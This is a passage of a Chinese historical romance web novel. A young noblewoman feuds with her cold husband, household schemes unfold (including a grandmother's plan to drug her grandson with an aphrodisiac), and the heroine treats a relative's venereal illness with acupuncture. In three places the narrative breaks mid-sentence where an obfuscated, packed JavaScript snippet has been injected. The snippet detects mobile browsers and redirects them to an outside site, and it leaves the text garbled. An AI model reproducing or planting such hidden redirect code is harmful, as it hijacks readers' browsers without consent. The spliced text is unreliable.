慕容韫玉把慕容鸾音的小手紧握在自己手心里,笑道:“娘生我时难产,爹心疼娘发誓不要第二个,是我羡慕旁人有妹妹,撒泼打滚的让爹娘生了你,娘生了你之后就忙着钻研医书去了,爹也忙,祖母也忙,认真说来,你该是我养大的,哥哥问你这句话,你不要害羞,老实回答。” 慕容鸾音扯回自己的手,低头揪着滚边狐毛小声道:“他倒是重诺,打定主意让我生他的萧氏正嫡,哼。” 慕容韫玉一听,越发放心了,笑道:“那哥哥再问你,你讨厌和他欢好这事儿吗?” 慕容鸾音捧着自己滚烫的脸,羞恼的跺脚,“哥哥,请用敦伦之礼代替!” “好好好。”慕容韫玉笑道:“诚实回答哥哥。” 灯色下,慕容鸾音的耳朵都红的能滴血了。 “哥哥到底想说什么,再不说,我走了!” 慕容韫玉见状,连忙压住慕容鸾音铺在长条凳上的披风,赔笑道:“妹妹别恼。听我细细与你分说,你对他求而不得,就不恨吗?若是恨,就不想着报复回去?” “岂能不恨。”慕容鸾音杏眼包泪,“哥哥,我丑吗?他让我觉得我自己很不好,可我明明没那么差呀。” 慕容韫玉本是好意劝解,但此时亲眼见了妹妹求而不得的痛苦,心里陡然生出两分同仇敌忾来,“阿音你这样想,他不爱你却要与你生下嫡长子,痛苦吃亏的是他。咱们不亏,你想啊,只要你生下嫡长子,好生养大,将来整个郧国公府就是你们母子的,到时他老了,躺床上不动了,还不是要仰仗你们母子的鼻息而活,这岂不是对他最好的报复?” 慕容鸾音灵光一现,“我知道怎么报复他了,我要做刺入他心口的长毫针,让他如鲠在喉,不得安生!” 慕容韫玉抚掌大笑,“正该如此!既然联姻之事不能反悔,与其你痛苦,何如让他痛苦。” 慕容鸾音给自己倒满酒,又给慕容韫玉倒满,“哥哥,今夜一醉方休如何,明日醒来,待我回去,就是去复仇的!” “好,哥哥陪你一醉方休。” 兄妹俩坐在一块肩并肩,你一杯我一杯,慕容鸾音很快就醉倒了,慕容韫玉脸上却没有一点醉痕,他搂着慕容鸾音,一点点擦去她酡红脸上的泪水,蓦然转头看向立柱后,一双凤眼射出锋利的光来,“祖母说阿音的容貌像我祖父,我祖父慕容青云在世时可是有大魏朝第一美人之称的,萧远峥,阿音不美吗?” 萧远峥从黑暗中走出,径直走向慕容韫玉,甩开他搂着慕容鸾音的手,把慕容鸾音搂到自己怀里,拦腰抱起转身走下台矶,驻足回眸,长眉冷蹙,“有人弹劾我,其中一条指责我纵容姻亲改良田为药田,慕容韫玉,慕容家的药铺够多了,适可而止,你难不成想要首富的虚名?” “你真是无礼,连大哥都不叫。”慕容韫玉摆摆手,赶苍蝇似的,“带着阿音回去吧,我知道怎么做,不用你教。倒是你,接了一块烧红的烙铁在手上,可别被搞死了。” 慕容韫玉抓起酒杯,仰头一饮而尽,抬头望月,凤眼中恨意昭昭,“不要步了我祖父的后尘才好,你要好好活着,步步登高,我会在你身后,咱们的钱最是干净。” · 且说宋大福,因着慕容鸾音把他贪墨银子的事儿揭了出来,让他当众丢脸,又因着亲娘被冬青给打掉了牙,暗地里就恨毒了她,奈何她是当家夫人,他是奴,地位悬殊,奈何不得,思来想去,唯有把她拉下马赶出国公府方能泄恨。 没几日就听自家祖母说,老太太把管家大权夺回来了,因精力不济,不能亲自管理,就一股脑都交给了洛姑娘。 宋大福一听就知道自己的机会来了。 满府里谁不知,世子爷真正想娶的是这位青梅竹马。 老太太从始至终属意的世子夫人人选也都是洛姑娘。他得赶紧的投靠过去,倘若能在促成萧洛再结前缘上出力,世子爷得偿所愿时,还不得把他提拔成大管事,到那时他能捞到的油水才多呢。 遂,忙忙的跑到外头去买了四份上等的胭脂水粉,巴巴的送到了洛淑仪最倚重的大丫头繁霜手上,诚诚恳恳的表了一番忠心。 繁霜把他的意思告诉了洛淑仪,洛淑仪不置可否,只让把桌上摆的没人吃的桂花糕送了他。 那宋大福得了桂花糕,倒比得了圣旨还兴奋,自以为入了绛仙阁门下了。 这日慕容鸾音回娘家送礼,月亮高升还没回,他就跑到门上盯着,好揪个错处来做投名状使。 左等右等不见马车的影儿,宋大福就和门上的管事闲话。 “上个月勇毅侯过大生日,我特意去瞧热闹,就见送礼的从街头排到街尾,有不想排队的,就偷着给门上的管事塞银子,人家那管事眼睛都不眨的就收了,我还瞄见有塞小黄鱼的。”宋大福伸出手指比划,“足足有我的食指这么长一条小黄鱼啊。” 门上管事懒怠理他,佯装袖手打瞌睡。 宋大福犹自喋喋不休,“咱们府上就是破规矩太多。老黑叔,年年想往咱们府上送礼走门路的也不少,这会儿没人,你偷偷跟我说,你真忍得住,真就没伸过手?说说吧,我又不告发你。” 一语未了,不远处传来辚辚辘辘马车声,黑大一下子睁开眼,忙忙的走进门内搬出下车凳迎了上去。 宋大福也连忙靠边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344508|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站着,躬身迎接,偷眼瞧去,就见世子爷先下,世子夫人随后,似是醉酒的样子,脚没踩稳,趔趄了一下,亏得碧荷眼疾手快扶住了这才没跌个狗啃泥,而世子爷回头看一眼都没有,一副毫不关心的样子径直进府去了。 宋大福看了一出好戏,打定主意明日一早就告诉绛仙阁。 · 碧荷一靠近慕容鸾音就闻到一股浓郁的带着石榴香气的酒味,又一摸她裙摆,便知定是坐在车里颠簸时吐出来了。 当即忙忙的招呼着冬青过来,背在背上就快速回了瑞雪堂,为她沐浴更衣,绞干头发后送到床上,盖好锦被。 碧荷见她从沐浴开始就笑眯眯的,禁不住笑道:“可见是家里大爷把您劝解好了。” 慕容鸾音笑着点头又摇头,伸出食指来挡在嘴边,“嘘,小点声,我只告诉你一个,我吐在他身上了,我故意的。” 碧荷见她眸光醺然,脸色酡红,只当她醉酒还糊涂着,就顺着她的话哄道:“世子爷那般喜洁的人,想必要气坏了。” “就是要气他,他那么能忍,气的他心肝脾肺肾都疼才好呢。” 就在这时茯苓匆匆走来,怪异的道:“姑娘,世子爷来了。” “骗人,不是初一,不是十五,他哪里会来,我要睡了,你们累了一日也睡去吧。” 就在这时,换了一身松霜绿直裰的萧远峥走了进来,头上流云百福的玉冠已拆了去,只余一个髻,半数头发都披散在背后,一改白日里的清冷端肃模样,宽肩窄腰,长身玉立,流露出些许风流态。 “你们出去,我与夫人就寝。” 主仆三个都呆了,慕容鸾音迷迷糊糊的脑袋反应有些慢,眼睁睁看着他把碧荷茯苓斥退,眼睁睁看着他吹熄了寝房的灯,只留了一盏摆在床前,当床帘被他放下,帐内一片昏暗,只余一点盈盈灯色。 当他扯下她的抹胸,低头衔住时,她忽的落下泪来,满心的愤恨不甘,抬手狠狠拧住他的耳朵,“你此时此刻想的是谁?” 萧远峥捏住她手腕,迫她松手,慕容鸾音自己都不知道自己哪来的勇气,一只手被禁锢,抬起另外一只手,“啪”的一声就打在了他脸上。 一霎寂静,唯有床前灯火,灯花爆了又爆。 慕容鸾音瑟缩了一下,索性破罐子破摔,“你想履行承诺,让我生下萧氏正嫡,是吗,好啊,你求我,从此以后,但凡你想爬上我的床,你求我我才给你,今夜没兴致,你给我滚!” 她红了双眼,胸口剧烈起伏,红缨雪团颤了又颤,他亦双眼猩红了。 门外,碧荷茯苓因担心而守着,起先是争吵声、巴掌声,后来是啼哭声,两个丫头吓坏了,还以为慕容鸾音挨打了,正想着冲进去忠心护主,就发现啼哭变了调子。 茯苓一下涨红脸,“碧荷姐,怎么办?” 碧荷吁出一口气,拉着她坐远些,“守着吧,最多半个时辰。” 15. 第015章 葡萄架倒 依着往常,世子爷半个时辰就会离开,可这回,碧荷茯苓坐在廊下美人靠上守着,过了一个时辰去门上侧耳听,忽闻裂帛声,又闻世子爷气急败坏的一声“你找死”,紧接着便是她们姑娘的气促娇啼声,唬的她们连忙退避,两张脸乍红乍惊,实在不知里头究竟是什么情况,又不敢硬闯,只好依旧去美人靠上坐着,守着。 这一守就直到了晨光熹微时,在山茶花树上筑巢的两只喜鹊都苏醒了,叽叽喳喳的飞着到处找虫吃。 一阵秋风袭来,靠着廊柱打瞌睡的碧荷猛地打了个喷嚏,睁眼一看天色连忙把靠在对面廊柱上的茯苓推醒。 茯苓接连打了两个喷嚏,鼻涕泡都出来了。 就在这时,门终于从里头打开了,萧远峥从里面走了出来,发髻齐整,长发披散,身上的松霜绿直裰微有褶皱,脸上神情却已和昨夜所见迥然有异,看人时清冷漠然,威不可侵。 碧荷茯苓连忙垂首福身,“恭请世子爷安。” “派个人去福寿堂说一声,你们夫人偶感风寒,身子不适,不能去请晨安了。” 碧荷心上一颤,攥紧拳头,蓦的看向萧远峥,一瞥之下,攥紧的拳头松开了,忍下笑意,连忙道:“世子爷,您这里可需要粉遮一遮?” 萧远峥摸一下颈侧还有些刺疼的抓痕,眸光一凝,“不必。” 说罢,甩袖而去。 碧荷茯苓见状,慌忙入内,拨开层层纱帐到暖阁一瞧,地毯上已是没处下脚,且不说衫裙亵衣扔的到处都是,怎么连床上挂着的香囊也在地上,香球滚的到处都是。 而她们的姑娘,躺在床榻里头,盖着绣被,呼呼大睡。 只露在外头的一条胳膊上,手腕处有红痕。 碧荷悬了一夜的心顿时放下,爬到床上去把慕容鸾音的胳膊放进被子里,掖好被角,小声道:“我的祖宗,咱们没吃亏就好,睡吧,奴婢让冬青去福寿堂给您告个病假。” · 福寿堂上,老夫人重重一拍榻上小香几,气道:“把树上那该死的鸟给我打死,叽叽喳喳叫的人心烦!” 洛淑仪连忙从丫头手里接过清茶送上去,柔声道:“外祖母勿动气,气坏了身子有谁心疼呢。” 坐在左下手位置的二夫人也连忙道:“这就让人去把外头树上的鸟都赶走,老夫人您消消气。告诉您一件高兴的事儿,峰哥儿媳妇又有身子了。” 老夫人就着洛淑仪的手喝了一口茶,顺过气来就看向孙香玉,瞥一眼她的肚子就道:“你也就剩这点好处了。峰哥儿昨日来给我请安,我见他身上竟还穿着一件罗衫,你瞅瞅这都什么时候了,一场秋雨一场寒的,不知道的还当咱们家穷了,扯不起锦缎绒料。” 孙香玉连忙站起来垂首受教,不敢“吱”一声。 “你也是。”老夫人瞪向二夫人,“少念点佛吧,看着点她,别回头她把自己那房里的东西都搬空了,你还没事人一样听经呢。” 二夫人把佛珠串往袖子里一藏,站起来就恭敬应“是”。 随即,老夫人又看向原本应该四奶奶罗慧心坐的位置,“慕容氏告病,她那是羞于见人,慧心丫头又是怎么回事?真病假病?” 二夫人连忙道:“四奶奶是又到了那几天了,疼的起不来身。” “做姑娘的时候也没这样矫情。” 话落又转头看向龙姽婳,“孙氏这都第三个了,你呢?别尽想着刮拉着男人到处游玩。” 龙姽婳站起来,垂首恭顺道:“回老夫人,非是游玩,而是游学,安王妃要孙媳画一幅琉璃观音,一直没有灵感,正思忖着要去郊外寺庙游览观音像,孙媳听您的,就不去了,烦请您老人家告诉安王妃一声,我画不出,让她另请高明。” 老夫人冷笑两声,气呼呼道:“都是烦人精,散了吧。” 少顷,福寿堂上只剩老夫人与洛淑仪。 老夫人屏退左右后,就拉着洛淑仪的手道:“你这回看清了吧,峥儿换掉书案也好,她跌倒不扶她也好,都是小节,老东西身边的大管事老黑亲自来一趟,他就听话了,承诺一年内让老东西抱上嫡重孙,峥儿是个说到做到的,你瞧,昨夜就在瑞雪堂睡到天亮。” 洛淑仪低头抠手心,低声道:“外祖母,我已经在练琴了,是大舅母在世时教我的凤求凰。” “好,等到中秋家宴,我就把峥儿叫到福寿堂小花园。”老夫人摸了摸洛淑仪身上穿的玉色羽缎褙子,道:“有些厚实了,我得给你再裁制一件薄透纱衣,绣上你和他都喜欢的折枝白梅。” 洛淑仪羞红脸,扯着老夫人的袖子轻轻摇头。 “你放心,到那日小花园只有你们两个,你们就在我那千岁亭里,把纱幔也放下来,你弹琴,他喝酒。”老夫人心想,虽说酒是色媒人,但以峥儿那肃正的性子,只有酒还不够乱情,需得再加点作料助兴。 主意已定,就忙忙打发洛淑仪回去练琴,她自寻得力之人去外头弄作料。 · 二房,岱四爷院。 罗慧心因腹痛,喝了一副止痛药歇下了。 服侍她的两个大丫头云屏、画屏把纱帐放下,轻手轻脚退出寝房,也不敢走远,就搬来两个绣墩放在门旁里,二人头并头小声说话。 穿翠蓝褙子的画屏拉着云屏的手就道:“你借我那钱,等下个月发月钱我就还你。” “急什么,我知道你小弟弟得了怪病,家里正是钱吃紧的时候,咱们这样好,你小弟弟就是我小弟弟,不还也使得。” 画屏感动的眼圈发红,越发握紧云屏的手,“你还不知道,我小弟弟治好了。” 云屏掏出帕子来递给画屏,“怎么一下子又好了?你同我借钱时哭的那样悲痛,我还当是……” 画屏接在手里擦干净眼泪就笑道:“我娘求到世子夫人那里了,世子夫人心善就带了他们一起回娘家,是慕容老爷和世子夫人一块,用针灸之术治好的,怪道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344509|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去别的郎中那里拿了再多再好的药都不管用,原来我小弟弟是撞上鬼邪,吓掉魂了,世子夫人拿好多根针扎了我小弟弟一回就给扎好了。” 云屏一下子瞪大眼,“是听说慕容家世代行医,世子夫人竟然也会吗?” “我爹娘亲见的,世子夫人一手针术使的出神入化。” 云屏是罗慧心的陪嫁,听得画屏说的这样真,她一下子动了心思,拉着画屏的手道:“咱们四奶奶身上的病,眼瞅着一月重过一月,委实不好向外人启齿的,你说咱们劝着四奶奶去找世子夫人瞧病,如何?” 这时寝房内传来一声,“你们两个进来说话。” 两个丫头互吐舌头,赶忙走了进去。 画屏连忙赔罪,“四奶奶,是奴婢俩把你吵醒了吗?” 躺在床榻上的罗慧心捂着腹部,疼的浑身是汗,“那药不管用,如何睡得着。画屏,你说的是真的?” 画屏使劲点头,“四奶奶若不信,我把我小弟弟叫进来您瞧瞧,现已是活蹦乱跳的。” 罗慧心想到自己的难以启齿之处,还有些犹豫。 云屏凑上去小声道:“姑娘,您别怪奴婢多心,咱们在家时,月月来癸水都没疼过,奴婢也偷着问过宋姨娘身边的锦书了,宋姨娘和您是差不多的症候,不止您和宋姨娘,锦书也跟了四爷小半年了,她说她的身子也渐渐有些不对劲。” 罗慧心瞪着床帐顶子淌下泪来,一咬牙,扶着云屏的手缓缓坐起来就道:“你尚且琢磨出来了,何况我。更衣吧。” “是。” · 大理寺殓尸房,又多了三具被剖开腹腔的女尸。 胡狸一一取出女尸眉心的镇魂钉摆在铺着白布的盘子里,内心对弥勒教已是深恶痛绝。 “如何?” 胡狸见萧远峥进来询问,连忙放下盘子迎上去,郑重道:“昨日徒儿领了您的命令,又随孟少卿回去了一趟,发现那处窟窿原是个盗洞,那下面是汉时的古墓,我们又从被盗窃一空的古墓里头发现了三具女尸,腐烂程度差不离,这意味着凶徒几乎是在同一段时间内作案四起,取走了四个胎儿。” “可有寻到受害女尸的家人?” 胡狸赶忙道:“徒儿今日就打算去发现尸体的附近村落走访。” 萧远峥点头,俯身查看尸身。 胡狸正好瞥见萧远峥颈侧的三道抓痕,立时笑道:“师父您被猫抓了?” “我从不养猫,嗯,家里的葡萄架子倒了。”萧远峥给女尸盖上白布,严肃道:“待我手头的贪污大案了结,就亲自调查这个弥勒教,生剖人腹,取人胎儿,罪大恶极,当剿灭一空。” “正该如此!”胡狸顿觉热血,见萧远峥要走,亲送出门去,作揖远送。 萧远峥走远,他的热血微凉,忽的想起葡萄架子倒了的典故来,且猫爪和人爪不同,抓痕自然也不同,一下子那颗怦然而动过的心弦断了,不免苦笑连连。 16. 第016章 早生贵子 日上三竿,慕容鸾音睡的脸蛋红扑扑起床梳妆。 “我这手昨夜可是立过大功了。”慕容鸾音坐在妆镜台前,跟为她梳头的碧荷吹嘘。 碧荷想着昨夜那番的动静,今早上世子爷又是顶着那么显眼的抓痕去上朝的,顿时忍俊不禁,但那毕竟是主子夫妻的闺房私密,就没言语。 这时冬葵怀抱着一个长长方方的螺钿大漆盒走来,吃力的放到妆镜台上就道:“姑娘,奴婢收拾大爷给您带回的那两个提手大板箱时,大爷又在里头放了一盒金子,您收起来吧。” 慕容鸾音打开盖子一瞧,里头果然是各式各样的金锞子,有海棠式的,笔锭如意式的,蟾宫折桂式的,还有金枣子、金花生、金桂圆和金莲子。 慕容鸾音起初还兴致勃勃的在盒子里扒拉样式,待得明白了哥哥催生的意图,顿觉无趣。 满满一盒金子,“早生贵子”这四样最多,碧荷一眼就看明白了,又见慕容鸾音闷闷不乐,就道:“大爷年年三大节都给您送金子,每一回金子里头都给您埋藏一样小惊喜,去年中秋埋的是什么来着?” 冬葵凑趣道:“是金镶八宝花丝链镯。姑娘您快找找今年是什么呢?” 慕容鸾音把铺在最上面的“早生贵子”抓出来扔在桌面上,果然在最下头发现了一个小巧精致的螺钿漆盒,打开一瞧,顿生欢喜,原来是一支点翠金帘梳,与时兴的一面帘不同,这支只在中央衔接了一根细细的闪金链,末端坠了一枚用红宝石雕成的山茶花,若将其插戴在头顶发髻上,这枚山茶花正正好垂在她眉心处。 碧荷笑道:“奴婢知道今日该给您梳什么发式了。” 慕容鸾音把玩着金帘梳高兴的道:“哥哥还是疼我的。” 话落,把金帘梳暂且放下,找出金镶八宝花丝链镯戴在了那只昨夜“立过功”的手腕上。 就在这时,窗外忽的传来动静,慕容鸾音扭头一瞧,便见静园小厮观棋霓生,南柯流星,四个人抬了两个黄杨木大板箱进来。 慕容鸾音蹙了蹙眉,坐着没动,“冬青,你去问问他们来做什么。” 冬青当即放下手里的蜜饯碟子,擦擦手迎了出去。 “观棋,你们做什么来?” 观棋笑道:“奉世子爷的命,把他日常所用之物搬到瑞雪堂东边碧纱橱,往后咱们世子爷就与世子夫人同寝共眠了,这岂不是好事,冬青姑娘快让开吧,我们铺陈完了还要回去搬一套大书案和圈椅来。” 冬青呆了一下,连忙转身回屋告诉慕容鸾音。 彼时,碧荷已经把点翠金帘梳给慕容鸾音插戴上了。 慕容鸾音对着铜镜轻轻摇了摇脑袋,眉心的红山茶就跟着摇曳了两下,平添两分妩媚之态。 “姑娘、姑娘,世子爷要搬来和您同寝共眠啦!” “什么?”慕容鸾音一下子站起来,疾步走出暖阁,就见观棋那四个小厮抬着大板箱已是登堂入室,径直抬进了碧纱橱。 “观棋你过来,你们世子爷竟要占我的碧纱橱吗?” 观棋一面催着南柯他们去铺陈布置,一面快步走到慕容鸾音跟前做出个为难样儿来,“世子夫人,这都是世子爷的意思,小的们只有听令的份,求您可怜可怜我们吧。” 慕容鸾音顿时气道:“那是我夏日要住的地方,他住进去了,到明年春夏他能还给我吗?里头那张拔步床,是我哥哥特意请人给我打造的山茶花图案的,他又不喜欢!” 观棋摆出个哭脸,眨巴着一双细长眼做可怜状,仿佛慕容鸾音再说两句他就要哭出来似的。 慕容鸾音使劲点了点他脑袋,“罢了罢了。” 慕容鸾音转念一想,计上心来,当即就对身边的丫头们道:“世子爷既然要布置碧纱橱,正巧了,我也看腻了现挂着的帐幔,都换了,帐幔换成杏粉色,我的床帐子、被褥枕头,一概换成红,冬青,你带四个粗使嬷嬷,再去后罩楼上把我嫁妆里那尊粉玉莲花大香炉搬过来,就摆在厅堂中央,我要日日点香!” “是。” “别忙,还有,我记得我有一串贝壳风铃,也找出来,挂到……”慕容鸾音一转身望向门口,笑眯眯道:“就挂到门前廊檐下,那倒挂楣子上,风一吹呀,丁铃当啷,我可爱听了。” 观棋摸摸鼻子,连忙躲去了碧纱橱。 厅堂的动静把歇觉的茯苓也惊动了,靸着鞋,披着长夹袄就出来瞧。 扶着墙走进来,一边走一边打喷嚏。 慕容鸾音连忙去扶她,但见她两颊绯红,就去摸她额头,“不好,你烧起来了。” “姑娘,我没事,再喝一碗热热的姜汤,捂在被子里发发汗就好了。不能,细心周全上比不得碧荷姐,这身子也比不得吧。” 慕容鸾音见屋里人来人往乱糟糟的,就扶着她向外走,笑道:“这有什么可攀比的,那年元宵节我险些被拍花子的拍了去,把我祖母吓坏了,祖母想着培养几个武婢放在我身边,打听着有个寺庙为养活僧人,开设了武僧院教人武艺,就从家中丫头里面挑出了十个身子强健的送去了,送去十个,从头到尾撑下来的只有碧荷姐姐、冬青和冬葵,但碧荷姐姐和冬葵也只是凭着坚忍的心性撑下来而已,学成的唯有冬青。碧荷姐姐呀,她的身子骨是熬炼过的。” 说着话,主仆二人就进了东耳房。 “你躺着,我为你针灸一次。” 蕊儿机灵,跟在后面走了进来,“夫人,有什么要奴婢做的吗?” 慕容鸾音忽的想起一事,就道:“你去问碧荷要我的墨玉药兽佩,你拿着去东市锣鼓巷的福缘药铺,一则为你茯苓姐姐拿一包避瘟丸回来,二则,告诉那店里的掌柜,就说我说的,峰二奶奶的兄弟再腆着脸去白拿咱们家药丸子,一颗也不许给了。” “是。”蕊儿答应一声,连忙去了。 蕊儿出去,冬葵捧着金针布包进来了,“姑娘,岱四奶奶现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344510|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在院门口,问您可有空闲,若得空,她可否进来与您说话。” 慕容鸾音接过布包,道:“这位老夫人的侄孙女,知道老夫人不喜欢我,等闲不与我打交道的。” 茯苓道:“定是无事不登三宝殿。冬葵,你瞧岱四奶奶是个什么神色?” “脸色苍白冒汗,云屏画屏搀着她胳膊才将将能站稳的样子。” 茯苓翘起头道:“姑娘,画屏是周大娘的大女儿。” “原来如此。”慕容鸾音按下茯苓翘起的头,不许她再乱动,“不管她,我先给你扎针。” “这如何使得,岱四奶奶是主子,岂有个先婢后主的……” “长幼尊卑,亲疏远近,我只先论亲疏,你日日尽心服侍我,此时你病了,我还不能先给你治嘛,我与院门口那个奶奶又不熟。” 茯苓眼圈一红落下泪来,“姑娘,奴婢有话今日想说。” 慕容鸾音在她液门穴上扎下一针,“你说。” “奴婢是大爷从外头买回来的,奴婢知道奴婢的用途是在有需要的时候充作通房。” 慕容鸾音刺穴的动作一顿,又笑着聆听。 茯苓哽咽,哭着道:“可奴婢有时真嫉妒您和碧荷姐姐她们的感情啊,奴婢是孤儿,进府之前过的都是颠沛流离,朝不保夕的日子,跟了姑娘才享了福,姑娘待奴婢又那样好,奴婢只想一辈子跟着您,只跟着您。” 慕容鸾音在她睡穴上落下一针,柔声安慰,“好,只跟着我,你的心意我明白了,放心睡吧,睡一觉起来身子就好了。” 少顷,茯苓慢慢闭上眼睡去,慕容鸾音收起金针,用帕子为她擦干净眼泪,就嘱咐冬葵道:“叫个小丫头进来守着她。” “是。” 门厅里,云屏见罗慧心疼的把嘴唇都咬破了,禁不住抱怨道:“世子夫人好大的架子。” “住口。”罗慧心忍着疼道:“往日里我有个什么好处给到人家,不但没有,她有难时也未曾帮过口,一直是袖手旁观者,如今咱们是上门求人的,等再久也是该当的,没随便捏个借口把咱们打发了,世子夫人已是心善,许是在忙。” 彼时,慕容鸾音已经走到了近前,听得她如此说,就笑着道:“四奶奶是个明白人,若能治你我愿治,只是我未曾真正出师就嫁到府里来了,又荒废了三年,我拿你练个手,你介意吗?” 罗慧心捂着腹部缓缓站起,苦笑道:“世子夫人,不瞒您说,我痛到极致的时候就想,不如一死了之的好,但我的麒哥儿还在襁褓之中,我若死了,没娘的孩子还不知会受多少磨难,我得活着,怎么样都要养到他有自保之力才能放下心。” 慕容鸾音轻轻一叹,“你随我进来吧,我正让丫头们替换堂屋里的帐幔被褥等物,乱糟糟的,咱们到东厢房说话。” 一时,宾主坐定,冬葵上了茶点,罗慧心就白着脸低下头恳求道:“世子夫人,能否、能否屏退左右?” 17.第017章 夫妻病 慕容鸾音打量罗慧心,但见她今日穿的是一件竖领鸳鸯锦排穗褂,因她身子薄瘦之故,这件锦褂穿在她身上便显得肥大。她还记得自己初嫁进门会见亲友时,岱四奶奶是个相貌端庄清秀,身量丰满的样子。 慕容鸾音抬手示意冬葵等服侍的丫头出去,“你怎么瘦成这样了,是慕时下女子薄瘦为美的风气,还是因病所致?” 说着话,将罗慧心的袖子折叠两圈卷至臂肘处,为她摸脉。 罗慧心苦笑,“待字闺中时曾追慕过瘦美,但我天生骨架子大,饿到前胸贴后背也瘦不出西子之美,就作罢了。” 片刻后,慕容鸾音道:“你脾胃不调有些严重了,可是吃了东西不消化,常觉腹胀如鼓?” 罗慧心心里陡然升起希冀来,“世子夫人说的症候我都有。” 慕容鸾音轻按着罗慧心的脉搏又反复试了试,蹙眉问道:“你可是时常忧惧恐甚?” 罗慧心猛地落下泪来,“是。” “可是还有些不对。”慕容鸾音知道自己摸脉之术比不得针灸之术,就慎之又慎,道:“忧惧恐甚必有个源头,你若真心想治病,就如实说给我听,不要有隐瞒。” 罗慧心揪紧帕子的手蓦的松开,垂泪道:“我每月来癸水腹痛如绞,还淋漓不尽,同房时也会疼的受不了,到这个月就成了崩漏之症,我好怕自己血尽而亡。还有、还有……” 罗慧心扯开自己高高的竖领,“不知何时,我这脖子里就长了这些丑陋的小肉丝,起初只一两根我就用头发丝绞掉了,可却是越绞越多,我生怕自己得了什么怪病,日日夜夜忧心恐惧的睡不着。” 慕容鸾音一瞧她的脖子,脑子里顿时就想起她阿娘总结几十年经验写的那本《妇人经》来,书里有个男有女显夫妻病,其中一张配图竟和她脖子上长的一模一样。 慕容鸾音顿时大喜,“你这病生的正好。” 罗慧心一霎愣住。 慕容鸾音连忙解释道:“我的意思是你这病有现成治好的例子,药方都是现成的。我阿娘专研妇人病有好多好多年了,写成一本医书,那里头把你这种病叫男有女显夫妻病,意思就是说,这病是夫君在外寻花问柳得了脏病传给妻子的。” 此时,慕容鸾鸾音已完全想起了背记过的内容,神色松弛下来,先是把冬葵叫进来,交待她把放在药兽箱子里的那本《妇人经》找出来,再拿一套笔墨纸砚来,这才又对罗慧心道:“你这病需得和夫君一起治,药方子分阴阳,阴方你吃,阳方他吃,治好之前不可再同房。” 罗慧心先是激动欢喜,再是忧愁恐惧。 慕容鸾音想起那日自己躲在假山洞里哭,听见萧远岱和小厮说的那些荤话,顿生厌恶,立时就道:“若为夫者改不了寻花问柳的毛病,为妻者唯有一法可保住自己的命,那就是远离脏病之源,你可懂了?因为此病会恶化,咱们女子的身子又比男子娇弱太多,我阿娘的方子只治得了轻病症的,恶化后的,我阿娘也治不好了。” 罗慧心似是下定了决心,攥紧拳头就道:“我懂。” “至于你的脾胃失和之症,根源在忧思恐惧,忧思恐惧又是因为那难以启齿的夫妻病,故,只要夫妻病一好,你身子上的其他小病都会慢慢好转的,脾胃一好,吃饭香甜了,你就会变回以前那个丰满秀美的你。” 罗慧心怔怔看着慕容鸾音,心上骤起波澜,眼中含泪,“她们都说您交出管家之权躲在瑞雪堂是羞于见人了,殊不知她们都错了,您是找回了什么,变回了没嫁人之前的样子,明媚耀眼的让人眼热。” 慕容鸾音摆摆手,笑道:“等你的病好了,你也能变回以前,人在生病时难免胡思乱想。” 这时,冬葵拿了捧了医书和笔墨纸砚送来。 慕容鸾音把医书放在一边,自己先默写出了阴阳两方,随即翻开医书仔细对照一遍,笑道:“一点没错。你照方抓药去吧。若吃了药有不适的地方,即刻来寻我,我可斟酌着为你调方,或是以针灸辅治。” 罗慧心把药方子叠成小方块藏进袖袋中,又道:“我本想着,若您愿意为我治病,能治我的病,我就想着赠您我亲手绣好的一个插屏摆件以酬谢,但听您说了此病之后,我知道自己也被污染了,如何能拿自己沾染过的东西赠您,您等我病好了,干净了,一定给您诚心绣一副落地大屏风。” “那我可等着了,每年老太太生辰,你送老太太的苏绣,我可眼馋了。” 说着话,罗慧心起身缓缓向外走,慕容鸾音将她慢慢送到院门口,罗慧心低声道:“终究是十分不光彩的事儿,请您……” “我懂。你去吧,若是对证,喝下第一副药就会有效果。” 慕容鸾音目送她们主仆三个慢慢走远,转身回院,心中百味杂陈,决心再把阿娘写的医书仔仔细细看一遍。 至黄昏时分,观棋带着人进进出出终于把碧纱橱布置妥帖了。慕容鸾音进去一瞧,床帐子换成了淡青色松鹤延年纹妆花缎,一个羊脂玉卧虎枕,一床竹青色锦被,一铺黛青色锦褥,一整套的青,正与她相反。 慕容鸾音冷哼,又见他临窗摆下了一张四面平山水理石面大案,一张紫檀木圈椅,顿时明白自己那边缺什么了,她也要看医书的,她也缺一套临窗大案大椅! 